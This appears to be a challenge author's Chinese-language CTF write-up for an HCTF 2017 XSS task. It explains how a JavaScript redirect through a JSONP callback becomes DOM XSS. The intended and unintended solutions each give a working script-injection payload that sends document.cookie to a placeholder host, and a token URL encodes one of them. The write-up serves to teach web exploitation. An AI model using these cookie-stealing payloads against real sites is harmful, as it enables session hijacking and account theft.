点击此处获得更好的阅读体验
WriteUp 来源
题目考点
- XSS
解题思路
前半部分参考A World Restored
到了第二部,自然就是xss了,其实题目本身非常简单,在出题之初,为了避免题目出现“垃圾时间”(因为非预期导致题目不可解),我在题目中加入了跟多元素。
并把flag2放置在.2017.hctf.io
域下,避免有人找到messbox的xss但是打不到flag的问题。(没想到真的用上了)
这里我就简单描述下预期解法和非预期解法两个。
预期解法
预期解法当然来自于出题思路。
https://stamone-bug-bounty.blogspot.jp/2017/10/dom-xss-auth_14.html
漏洞本身非常简单,但有意思的是利用思路。
当你发现了一个任意URL跳转的漏洞,会不会考虑漏洞是怎么发生的?
也许你平时可能没注意过,但跳转一般是分两种的,第一种是服务端做的,利用header: location
,这种跳转我们没办法阻止。第二种是js使用location.href
导致的跳转。
既然是js实现的,那么是不是有可能存在dom xss漏洞呢?
这个uber的漏洞由来就是如此。
这里唯一的考点就是,js是一种顺序执行的语言,如果location报错,那么就不会继续执行后面的js,如果location不报错,那么就可能在执行下一句之前跳转走。
当然,办法很多。最普通的可能是在location后使用stop()
来阻止跳转,但最好用的就是新建script块,这样上一个script报错不会影响到下一个script块。
最终payload
1 | </script><script src="http://auth.hctf.com/getmessage.php?callback=window.location.href='http://xxx?cookie='+document.cookie;//"></script |
非预期解法
除了上面的漏洞以外,messbox也有漏洞,username在首页没有经过任何过滤就显示在了页面内。
但username这里漏洞会有一些问题,因为本身预期的漏洞点并不是这里,所以这里的username经过我框架本身的一点儿过滤,而且长度有限制,所以从这里利用的人会遇到很多非预期的问题。
payload如下,注册名为
1 | <script src=//auth.2017.hctf.io/getmessage.php?callback=location=%27http://xxx/%27%2bbtoa(document.cookie);//></script> |
的用户名,并获取token。
1 | http://messbox.2017.hctf.io/?token=NDYyMGZlMTNhNWM3YTAxY3xQSE5qY21sd2RDQnpjbU05THk5aGRYUm9Makl3TVRjdWFHTjBaaTVwYnk5blpYUnRaWE56WVdkbExuQm9jRDlqWVd4c1ltRmphejFzYjJOaGRHbHZiajBsTWpkb2RIUndPaTh2Y205dmRHc3VjSGN2SlRJM0pUSmlZblJ2WVNoa2IyTjFiV1Z1ZEM1amIyOXJhV1VwT3k4dlBqd3ZjMk55YVhCMFBnPT0= |
即可
Flag
1 | 无 |